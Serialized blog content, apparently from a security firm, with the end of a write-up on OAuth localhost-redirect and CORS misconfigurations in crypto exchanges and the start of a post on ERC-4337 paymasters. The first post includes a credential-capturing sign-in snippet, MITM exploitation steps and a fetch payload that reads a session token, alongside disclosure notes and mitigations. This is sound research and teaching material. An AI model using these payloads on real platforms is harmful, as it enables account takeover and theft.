77},{"style":265},[99078],{"type":28,"value":99079},"\"Test\"",{"type":23,"tag":139,"props":99081,"children":99082},{"style":259},[99083],{"type":28,"value":273},{"type":23,"tag":139,"props":99085,"children":99086},{"class":141,"line":1823},[99087,99091],{"type":23,"tag":139,"props":99088,"children":99089},{"style":245},[99090],{"type":28,"value":68925},{"type":23,"tag":139,"props":99092,"children":99093},{"style":259},[99094],{"type":28,"value":1268},{"type":23,"tag":139,"props":99096,"children":99097},{"class":141,"line":1831},[99098,99103,99107],{"type":23,"tag":139,"props":99099,"children":99100},{"style":259},[99101],{"type":28,"value":99102},"                                src ",{"type":23,"tag":139,"props":99104,"children":99105},{"style":982},[99106],{"type":28,"value":1067},{"type":23,"tag":139,"props":99108,"children":99109},{"style":265},[99110],{"type":28,"value":99111}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":139,"props":99113,"children":99114},{"class":141,"line":1891},[99115,99120,99125,99129,99133],{"type":23,"tag":139,"props":99116,"children":99117},{"style":259},[99118],{"type":28,"value":99119},"                                attributes[",{"type":23,"tag":139,"props":99121,"children":99122},{"style":265},[99123],{"type":28,"value":99124},"\"async\"",{"type":23,"tag":139,"props":99126,"children":99127},{"style":259},[99128],{"type":28,"value":6666},{"type":23,"tag":139,"props":99130,"children":99131},{"style":982},[99132],{"type":28,"value":1067},{"type":23,"tag":139,"props":99134,"children":99135},{"style":265},[99136],{"type":28,"value":99137}," \"\"\n",{"type":23,"tag":139,"props":99139,"children":99140},{"class":141,"line":7053},[99141,99145,99150,99154,99158],{"type":23,"tag":139,"props":99142,"children":99143},{"style":259},[99144],{"type":28,"value":99119},{"type":23,"tag":139,"props":99146,"children":99147},{"style":265},[99148],{"type":28,"value":99149},"\"defer\"",{"type":23,"tag":139,"props":99151,"children":99152},{"style":259},[99153],{"type":28,"value":6666},{"type":23,"tag":139,"props":99155,"children":99156},{"style":982},[99157],{"type":28,"value":1067},{"type":23,"tag":139,"props":99159,"children":99160},{"style":265},[99161],{"type":28,"value":99137},{"type":23,"tag":139,"props":99163,"children":99164},{"class":141,"line":7071},[99165],{"type":23,"tag":139,"props":99166,"children":99167},{"style":259},[99168],{"type":28,"value":68950},{"type":23,"tag":139,"props":99170,"children":99171},{"class":141,"line":7116},[99172,99176],{"type":23,"tag":139,"props":99173,"children":99174},{"style":245},[99175],{"type":28,"value":68925},{"type":23,"tag":139,"props":99177,"children":99178},{"style":259},[99179],{"type":28,"value":1268},{"type":23,"tag":139,"props":99181,"children":99182},{"class":141,"line":7222},[99183,99188],{"type":23,"tag":139,"props":99184,"children":99185},{"style":245},[99186],{"type":28,"value":99187},"                                unsafe",{"type":23,"tag":139,"props":99189,"children":99190},{"style":259},[99191],{"type":28,"value":1268},{"type":23,"tag":139,"props":99193,"children":99194},{"class":141,"line":21518},[99195,99200],{"type":23,"tag":139,"props":99196,"children":99197},{"style":982},[99198],{"type":28,"value":99199},"                                    +",{"type":23,"tag":139,"props":99201,"children":99202},{"style":265},[99203],{"type":28,"value":99204},"\"\"\"\n",{"type":23,"tag":139,"props":99206,"children":99207},{"class":141,"line":21553},[99208],{"type":23,"tag":139,"props":99209,"children":99210},{"style":265},[99211],{"type":28,"value":99212},"    function handleCredentialResponse(response) {\n",{"type":23,"tag":139,"props":99214,"children":99215},{"class":141,"line":21561},[99216],{"type":23,"tag":139,"props":99217,"children":99218},{"style":265},[99219],{"type":28,"value":99220},"      alert(\"credential: \" + response.credential);\n",{"type":23,"tag":139,"props":99222,"children":99223},{"class":141,"line":21569},[99224],{"type":23,"tag":139,"props":99225,"children":99226},{"style":265},[99227],{"type":28,"value":1335},{"type":23,"tag":139,"props":99229,"children":99230},{"class":141,"line":21578},[99231],{"type":23,"tag":139,"props":99232,"children":99233},{"emptyLinePlaceholder":15},[99234],{"type":28,"value":184},{"type":23,"tag":139,"props":99236,"children":99237},{"class":141,"line":21620},[99238],{"type":23,"tag":139,"props":99239,"children":99240},{"style":265},[99241],{"type":28,"value":99242},"    window.onload = async function () {\n",{"type":23,"tag":139,"props":99244,"children":99245},{"class":141,"line":21653},[99246],{"type":23,"tag":139,"props":99247,"children":99248},{"style":265},[99249],{"type":28,"value":99250},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":139,"props":99252,"children":99253},{"class":141,"line":21661},[99254],{"type":23,"tag":139,"props":99255,"children":99256},{"style":265},[99257],{"type":28,"value":99258},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":139,"props":99260,"children":99261},{"class":141,"line":21669},[99262],{"type":23,"tag":139,"props":99263,"children":99264},{"style":265},[99265],{"type":28,"value":99266},"      google.accounts.id.initialize({\n",{"type":23,"tag":139,"props":99268,"children":99269},{"class":141,"line":21678},[99270],{"type":23,"tag":139,"props":99271,"children":99272},{"style":265},[99273],{"type":28,"value":99274},"        client_id: client_id,\n",{"type":23,"tag":139,"props":99276,"children":99277},{"class":141,"line":21754},[99278],{"type":23,"tag":139,"props":99279,"children":99280},{"style":265},[99281],{"type":28,"value":99282},"        callback: handleCredentialResponse,\n",{"type":23,"tag":139,"props":99284,"children":99285},{"class":141,"line":21787},[99286],{"type":23,"tag":139,"props":99287,"children":99288},{"style":265},[99289],{"type":28,"value":99290},"        auto_select: true\n",{"type":23,"tag":139,"props":99292,"children":99293},{"class":141,"line":21795},[99294],{"type":23,"tag":139,"props":99295,"children":99296},{"style":265},[99297],{"type":28,"value":5299},{"type":23,"tag":139,"props":99299,"children":99300},{"class":141,"line":21803},[99301],{"type":23,"tag":139,"props":99302,"children":99303},{"emptyLinePlaceholder":15},[99304],{"type":28,"value":184},{"type":23,"tag":139,"props":99306,"children":99307},{"class":141,"line":21840},[99308],{"type":23,"tag":139,"props":99309,"children":99310},{"style":265},[99311],{"type":28,"value":99312},"      google.accounts.id.renderButton(\n",{"type":23,"tag":139,"props":99314,"children":99315},{"class":141,"line":21853},[99316],{"type":23,"tag":139,"props":99317,"children":99318},{"style":265},[99319],{"type":28,"value":99320},"        document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":139,"props":99322,"children":99323},{"class":141,"line":21866},[99324],{"type":23,"tag":139,"props":99325,"children":99326},{"style":265},[99327],{"type":28,"value":99328},"        { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":139,"props":99330,"children":99331},{"class":141,"line":21879},[99332],{"type":23,"tag":139,"props":99333,"children":99334},{"style":265},[99335],{"type":28,"value":4769},{"type":23,"tag":139,"props":99337,"children":99338},{"class":141,"line":21933},[99339],{"type":23,"tag":139,"props":99340,"children":99341},{"emptyLinePlaceholder":15},[99342],{"type":28,"value":184},{"type":23,"tag":139,"props":99344,"children":99345},{"class":141,"line":21942},[99346],{"type":23,"tag":139,"props":99347,"children":99348},{"style":265},[99349],{"type":28,"value":99350},"      google.accounts.id.prompt();\n",{"type":23,"tag":139,"props":99352,"children":99353},{"class":141,"line":30168},[99354],{"type":23,"tag":139,"props":99355,"children":99356},{"style":265},[99357],{"type":28,"value":36887},{"type":23,"tag":139,"props":99359,"children":99360},{"class":141,"line":30189},[99361,99366,99370,99375],{"type":23,"tag":139,"props":99362,"children":99363},{"style":265},[99364],{"type":28,"value":99365},"                                    \"\"\"",{"type":23,"tag":139,"props":99367,"children":99368},{"style":259},[99369],{"type":28,"value":73},{"type":23,"tag":139,"props":99371,"children":99372},{"style":245},[99373],{"type":28,"value":99374},"trimIndent",{"type":23,"tag":139,"props":99376,"children":99377},{"style":259},[99378],{"type":28,"value":5739},{"type":23,"tag":139,"props":99380,"children":99381},{"class":141,"line":78855},[99382],{"type":23,"tag":139,"props":99383,"children":99384},{"style":259},[99385],{"type":28,"value":99386},"                                }\n",{"type":23,"tag":139,"props":99388,"children":99389},{"class":141,"line":78868},[99390],{"type":23,"tag":139,"props":99391,"children":99392},{"style":259},[99393],{"type":28,"value":68950},{"type":23,"tag":139,"props":99395,"children":99396},{"class":141,"line":78876},[99397],{"type":23,"tag":139,"props":99398,"children":99399},{"style":259},[99400],{"type":28,"value":68880},{"type":23,"tag":139,"props":99402,"children":99403},{"class":141,"line":78884},[99404,99408],{"type":23,"tag":139,"props":99405,"children":99406},{"style":245},[99407],{"type":28,"value":68888},{"type":23,"tag":139,"props":99409,"children":99410},{"style":259},[99411],{"type":28,"value":1268},{"type":23,"tag":139,"props":99413,"children":99414},{"class":141,"line":78892},[99415,99419,99423,99427,99432],{"type":23,"tag":139,"props":99416,"children":99417},{"style":245},[99418],{"type":28,"value":68900},{"type":23,"tag":139,"props":99420,"children":99421},{"style":259},[99422],{"type":28,"value":7594},{"type":23,"tag":139,"props":99424,"children":99425},{"style":982},[99426],{"type":28,"value":2382},{"type":23,"tag":139,"props":99428,"children":99429},{"style":265},[99430],{"type":28,"value":99431},"\"Login here:\"",{"type":23,"tag":139,"props":99433,"children":99434},{"style":259},[99435],{"type":28,"value":7604},{"type":23,"tag":139,"props":99437,"children":99438},{"class":141,"line":78932},[99439,99444],{"type":23,"tag":139,"props":99440,"children":99441},{"style":245},[99442],{"type":28,"value":99443},"                            div",{"type":23,"tag":139,"props":99445,"children":99446},{"style":259},[99447],{"type":28,"value":1268},{"type":23,"tag":139,"props":99449,"children":99450},{"class":141,"line":78940},[99451,99456,99460],{"type":23,"tag":139,"props":99452,"children":99453},{"style":259},[99454],{"type":28,"value":99455},"                                id ",{"type":23,"tag":139,"props":99457,"children":99458},{"style":982},[99459],{"type":28,"value":1067},{"type":23,"tag":139,"props":99461,"children":99462},{"style":265},[99463],{"type":28,"value":99464}," \"g_id_signin\"\n",{"type":23,"tag":139,"props":99466,"children":99467},{"class":141,"line":86127},[99468],{"type":23,"tag":139,"props":99469,"children":99470},{"style":259},[99471],{"type":28,"value":68950},{"type":23,"tag":139,"props":99473,"children":99474},{"class":141,"line":86135},[99475],{"type":23,"tag":139,"props":99476,"children":99477},{"style":259},[99478],{"type":28,"value":68880},{"type":23,"tag":139,"props":99480,"children":99482},{"class":141,"line":99481},62,[99483],{"type":23,"tag":139,"props":99484,"children":99485},{"style":259},[99486],{"type":28,"value":68965},{"type":23,"tag":139,"props":99488,"children":99490},{"class":141,"line":99489},63,[99491],{"type":23,"tag":139,"props":99492,"children":99493},{"style":259},[99494],{"type":28,"value":68973},{"type":23,"tag":139,"props":99496,"children":99498},{"class":141,"line":99497},64,[99499],{"type":23,"tag":139,"props":99500,"children":99501},{"style":259},[99502],{"type":28,"value":56784},{"type":23,"tag":139,"props":99504,"children":99506},{"class":141,"line":99505},65,[99507,99511,99515,99519,99523,99527],{"type":23,"tag":139,"props":99508,"children":99509},{"style":259},[99510],{"type":28,"value":68988},{"type":23,"tag":139,"props":99512,"children":99513},{"style":245},[99514],{"type":28,"value":68993},{"type":23,"tag":139,"props":99516,"children":99517},{"style":259},[99518],{"type":28,"value":68998},{"type":23,"tag":139,"props":99520,"children":99521},{"style":982},[99522],{"type":28,"value":1067},{"type":23,"tag":139,"props":99524,"children":99525},{"style":279},[99526],{"type":28,"value":10480},{"type":23,"tag":139,"props":99528,"children":99529},{"style":259},[99530],{"type":28,"value":273},{"type":23,"tag":139,"props":99532,"children":99534},{"class":141,"line":99533},66,[99535],{"type":23,"tag":139,"props":99536,"children":99537},{"style":259},[99538],{"type":28,"value":1335},{"type":23,"tag":24,"props":99540,"children":99541},{},[99542],{"type":28,"value":99543},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":24,"props":99545,"children":99546},{},[99547],{"type":28,"value":99548},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":666,"props":99550,"children":99552},{"id":99551},"how-to-mitigate",[99553],{"type":28,"value":99554},"How to Mitigate",{"type":23,"tag":24,"props":99556,"children":99557},{},[99558],{"type":28,"value":99559},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":41,"props":99561,"children":99563},{"id":99562},"exploiting-cors",[99564],{"type":28,"value":99565},"Exploiting CORS",{"type":23,"tag":24,"props":99567,"children":99568},{},[99569],{"type":28,"value":99570},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":24,"props":99572,"children":99573},{},[99574,99576,99582],{"type":28,"value":99575},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":135,"props":99577,"children":99579},{"className":99578},[],[99580],{"type":28,"value":99581},"http://",{"type":28,"value":99583}," schema for any subdomain:",{"type":23,"tag":128,"props":99585,"children":99589},{"className":99586,"code":99587,"language":99588,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[99590],{"type":23,"tag":135,"props":99591,"children":99592},{"__ignoreMap":7},[99593,99601,99609,99617],{"type":23,"tag":139,"props":99594,"children":99595},{"class":141,"line":142},[99596],{"type":23,"tag":139,"props":99597,"children":99598},{},[99599],{"type":28,"value":99600},"HTTP 200 OK\n",{"type":23,"tag":139,"props":99602,"children":99603},{"class":141,"line":151},[99604],{"type":23,"tag":139,"props":99605,"children":99606},{},[99607],{"type":28,"value":99608},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":139,"props":99610,"children":99611},{"class":141,"line":160},[99612],{"type":23,"tag":139,"props":99613,"children":99614},{},[99615],{"type":28,"value":99616},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":139,"props":99618,"children":99619},{"class":141,"line":169},[99620],{"type":23,"tag":139,"props":99621,"children":99622},{},[99623],{"type":28,"value":8327},{"type":23,"tag":666,"props":99625,"children":99627},{"id":99626},"cors-misconfiguration-by-lack-of-tls",[99628],{"type":28,"value":99629},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":24,"props":99631,"children":99632},{},[99633,99635,99641],{"type":28,"value":99634},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":135,"props":99636,"children":99638},{"className":99637},[],[99639],{"type":28,"value":99640},"exchange.com",{"type":28,"value":99642}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":24,"props":99644,"children":99645},{},[99646],{"type":28,"value":99647},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":14699,"props":99649,"children":99650},{},[99651,99671],{"type":23,"tag":801,"props":99652,"children":99653},{},[99654,99656,99661,99663,99669],{"type":28,"value":99655},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":135,"props":99657,"children":99659},{"className":99658},[],[99660],{"type":28,"value":99581},{"type":28,"value":99662}," --> ",{"type":23,"tag":135,"props":99664,"children":99666},{"className":99665},[],[99667],{"type":28,"value":99668},"https://",{"type":28,"value":99670}," requests, even if same-site",{"type":23,"tag":801,"props":99672,"children":99673},{},[99674,99676],{"type":28,"value":99675},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":135,"props":99677,"children":99679},{"className":99678},[],[99680],{"type":28,"value":35655},{"type":23,"tag":666,"props":99682,"children":99684},{"id":99683},"exploit-1",[99685],{"type":28,"value":98015},{"type":23,"tag":24,"props":99687,"children":99688},{},[99689],{"type":28,"value":99690},"To exploit it, we must follow some steps:",{"type":23,"tag":797,"props":99692,"children":99693},{},[99694,99699,99704],{"type":23,"tag":801,"props":99695,"children":99696},{},[99697],{"type":28,"value":99698},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":801,"props":99700,"children":99701},{},[99702],{"type":28,"value":99703},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":801,"props":99705,"children":99706},{},[99707,99709,99714],{"type":28,"value":99708},"Use ",{"type":23,"tag":135,"props":99710,"children":99712},{"className":99711},[],[99713],{"type":28,"value":35655},{"type":28,"value":99715}," with CORS to do something malicious using the victim's account",{"type":23,"tag":24,"props":99717,"children":99718},{},[99719],{"type":28,"value":99720},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":24,"props":99722,"children":99723},{},[99724,99726,99731],{"type":28,"value":99725},"Once the redirect to the ",{"type":23,"tag":135,"props":99727,"children":99729},{"className":99728},[],[99730],{"type":28,"value":99581},{"type":28,"value":99732}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":128,"props":99734,"children":99736},{"className":29250,"code":99735,"language":29252,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[99737],{"type":23,"tag":135,"props":99738,"children":99739},{"__ignoreMap":7},[99740,99763,99800,99817,99834,99841,99882],{"type":23,"tag":139,"props":99741,"children":99742},{"class":141,"line":142},[99743,99747,99751,99755,99759],{"type":23,"tag":139,"props":99744,"children":99745},{"style":259},[99746],{"type":28,"value":262},{"type":23,"tag":139,"props":99748,"children":99749},{"style":279},[99750],{"type":28,"value":34035},{"type":23,"tag":139,"props":99752,"children":99753},{"style":259},[99754],{"type":28,"value":37587},{"type":23,"tag":139,"props":99756,"children":99757},{"style":279},[99758],{"type":28,"value":12833},{"type":23,"tag":139,"props":99760,"children":99761},{"style":259},[99762],{"type":28,"value":1268},{"type":23,"tag":139,"props":99764,"children":99765},{"class":141,"line":151},[99766,99770,99775,99779,99783,99787,99791,99796],{"type":23,"tag":139,"props":99767,"children":99768},{"style":279},[99769],{"type":28,"value":5859},{"type":23,"tag":139,"props":99771,"children":99772},{"style":294},[99773],{"type":28,"value":99774}," res",{"type":23,"tag":139,"props":99776,"children":99777},{"style":982},[99778],{"type":28,"value":985},{"type":23,"tag":139,"props":99780,"children":99781},{"style":319},[99782],{"type":28,"value":34101},{"type":23,"tag":139,"props":99784,"children":99785},{"style":245},[99786],{"type":28,"value":30817},{"type":23,"tag":139,"props":99788,"children":99789},{"style":259},[99790],{"type":28,"value":262},{"type":23,"tag":139,"props":99792,"children":99793},{"style":265},[99794],{"type":28,"value":99795},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":139,"props":99797,"children":99798},{"style":259},[99799],{"type":28,"value":46779},{"type":23,"tag":139,"props":99801,"children":99802},{"class":141,"line":160},[99803,99808,99813],{"type":23,"tag":139,"props":99804,"children":99805},{"style":294},[99806],{"type":28,"value":99807},"    credentials:",{"type":23,"tag":139,"props":99809,"children":99810},{"style":265},[99811],{"type":28,"value":99812}," 'include'",{"type":23,"tag":139,"props":99814,"children":99815},{"style":259},[99816],{"type":28,"value":1488},{"type":23,"tag":139,"props":99818,"children":99819},{"class":141,"line":169},[99820,99825,99830],{"type":23,"tag":139,"props":99821,"children":99822},{"style":294},[99823],{"type":28,"value":99824},"    method:",{"type":23,"tag":139,"props":99826,"children":99827},{"style":265},[99828],{"type":28,"value":99829}," 'POST'",{"type":23,"tag":139,"props":99831,"children":99832},{"style":259},[99833],{"type":28,"value":1488},{"type":23,"tag":139,"props":99835,"children":99836},{"class":141,"line":178},[99837],{"type":23,"tag":139,"props":99838,"children":99839},{"style":259},[99840],{"type":28,"value":96098},{"type":23,"tag":139,"props":99842,"children":99843},{"class":141,"line":187},[99844,99849,99853,99858,99862,99866,99870,99874,99878],{"type":23,"tag":139,"props":99845,"children":99846},{"style":294},[99847],{"type":28,"value":99848},"  console",{"type":23,"tag":139,"props":99850,"children":99851},{"style":259},[99852],{"type":28,"value":73},{"type":23,"tag":139,"props":99854,"children":99855},{"style":245},[99856],{"type":28,"value":99857},"log",{"type":23,"tag":139,"props":99859,"children":99860},{"style":259},[99861],{"type":28,"value":262},{"type":23,"tag":139,"props":99863,"children":99864},{"style":319},[99865],{"type":28,"value":30804},{"type":23,"tag":139,"props":99867,"children":99868},{"style":294},[99869],{"type":28,"value":99774},{"type":23,"tag":139,"props":99871,"children":99872},{"style":259},[99873],{"type":28,"value":73},{"type":23,"tag":139,"props":99875,"children":99876},{"style":245},[99877],{"type":28,"value":31886},{"type":23,"tag":139,"props":99879,"children":99880},{"style":259},[99881],{"type":28,"value":13437},{"type":23,"tag":139,"props":99883,"children":99884},{"class":141,"line":196},[99885],{"type":23,"tag":139,"props":99886,"children":99887},{"style":259},[99888],{"type":28,"value":99889},"})();\n",{"type":23,"tag":24,"props":99891,"children":99892},{},[99893],{"type":28,"value":99894},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":666,"props":99896,"children":99897},{"id":38224},[99898],{"type":28,"value":38227},{"type":23,"tag":24,"props":99900,"children":99901},{},[99902,99904,99909],{"type":28,"value":99903},"As mitigation, it is recommended to remove all ",{"type":23,"tag":135,"props":99905,"children":99907},{"className":99906},[],[99908],{"type":28,"value":99581},{"type":28,"value":99910}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":24,"props":99912,"children":99913},{},[99914],{"type":28,"value":99915},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":41,"props":99917,"children":99918},{"id":26955},[99919],{"type":28,"value":16955},{"type":23,"tag":24,"props":99921,"children":99922},{},[99923],{"type":28,"value":99924},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":24,"props":99926,"children":99927},{},[99928],{"type":28,"value":99929},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":817,"props":99931,"children":99932},{},[99933],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":99935},[99936,99941,99946],{"id":97620,"depth":151,"text":97623,"children":99937},[99938,99939,99940],{"id":97631,"depth":160,"text":97634},{"id":97988,"depth":160,"text":97991},{"id":99551,"depth":160,"text":99554},{"id":99562,"depth":151,"text":99565,"children":99942},[99943,99944,99945],{"id":99626,"depth":160,"text":99629},{"id":99683,"depth":160,"text":98015},{"id":38224,"depth":160,"text":38227},{"id":26955,"depth":151,"text":16955},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":99951,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99952,"description":99953,"date":99954,"author":99955,"image":99956,"isFeatured":15,"onBlogPage":15,"tags":99958,"body":99961,"_type":831,"_id":105733,"_source":833,"_file":105734,"_stem":105735,"_extension":836},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":99957,"width":95172,"height":13},"/posts/paymasters-evm/title.png",[99959,99960],"evm","ERC-4337",{"type":20,"children":99962,"toc":105712},[99963,99967,99978,99983,99988,99993,99999,100005,100010,100015,100021,100026,100054,100060,100065,100072,100077,100087,100092,100118,100124,100144,100150,100170,100178,100209,100242,100251,100263,100288,100300,100313,100356,100362,100395,100494,100513,100536,100541,100547,100575,100722,100727,100754,100760,100772,100784,100793,100828,100833,102318,102346,102367,102372,102384,102393,102398,102416,102439,102444,102450,102504,102510,102543,102578,103402,103438,103474,103540,103573,104071,104124,104136,104700,104769,104796,105418,105460,105487,105499,105560,105579,105613,105618,105623,105628,105632,105637,105672,105698,105703,105708],{"type":23,"tag":33262,"props":99964,"children":99965},{"id":27037},[99966],{"type":28,"value":27040},{"type":23,"tag":24,"props":99968,"children":99969},{},[99970,99976],{"type":23,"tag":64,"props":99971,"children":99974},{"href":99972,"rel":99973},"https://docs.erc4337.io/",[68],[99975],{"type":28,"value":99960},{"type":28,"value":99977}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":24,"props":99979,"children":99980},{},[99981],{"type":28,"value":99982},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":24,"props":99984,"children":99985},{},[99986],{"type":28,"value":99987},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":24,"props":99989,"children":99990},{},[99991],{"type":28,"value":99992},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":33262,"props":99994,"children":99996},{"id":99995},"erc4337-overview",[99997],{"type":28,"value":99998},"ERC4337 Overview",{"type":23,"tag":41,"props":100000,"children":100002},{"id":100001},"traditional-eoas-vs-smart-contract-wallets",[100003],{"type":28,"value":100004},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":24,"props":100006,"children":100007},{},[100008],{"type":28,"value":100009},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":24,"props":100011,"children":100012},{},[100013],{"type":28,"value":100014},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":41,"props":100016,"children":100018},{"id":100017},"why-erc4337-was-introduced",[100019],{"type":28,"value":100020},"Why ERC‑4337 Was Introduced",{"type":23,"tag":24,"props":100022,"children":100023},{},[100024],{"type":28,"value":100025},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":14699,"props":100027,"children":100028},{},[100029,100034,100039,100044,100049],{"type":23,"tag":801,"props":100030,"children":100031},{},[100032],{"type":28,"value":100033},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":801,"props":100035,"children":100036},{},[100037],{"type":28,"value":100038},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":801,"props":100040,"children":100041},{},[100042],{"type":28,"value":100043},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":801,"props":100045,"children":100046},{},[100047],{"type":28,"value":100048},"Using custom signature schemes or multisig logic",{"type":23,"tag":801,"props":100050,"children":100051},{},[100052],{"type":28,"value":100053},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":41,"props":100055,"children":100057},{"id":100056},"how-erc-4337-works",[100058],{"type":28,"value":100059},"How ERC-4337 Works",{"type":23,"tag":24,"props":100061,"children":100062},{},[100063],{"type":28,"value":100064},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":24,"props":100066,"children":100067},{},[100068],{"type":23,"tag":429,"props":100069,"children":100071},{"alt":48476,"src":100070},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":24,"props":100073,"children":100074},{},[100075],{"type":28,"value":100076},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":666,"props":100078,"children":100080},{"id":100079},"useroperation",[100081],{"type":23,"tag":135,"props":100082,"children":100084},{"className":100083},[],[100085],{"type":28,"value":100086},"UserOperation",{"type":23,"tag":24,"props":100088,"children":100089},{},[100090],{"type":28,"value":100091},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":14699,"props":100093,"children":100094},{},[100095,100100,100105],{"type":23,"tag":801,"props":100096,"children":100097},{},[100098],{"type":28,"value":100099},"Target contract 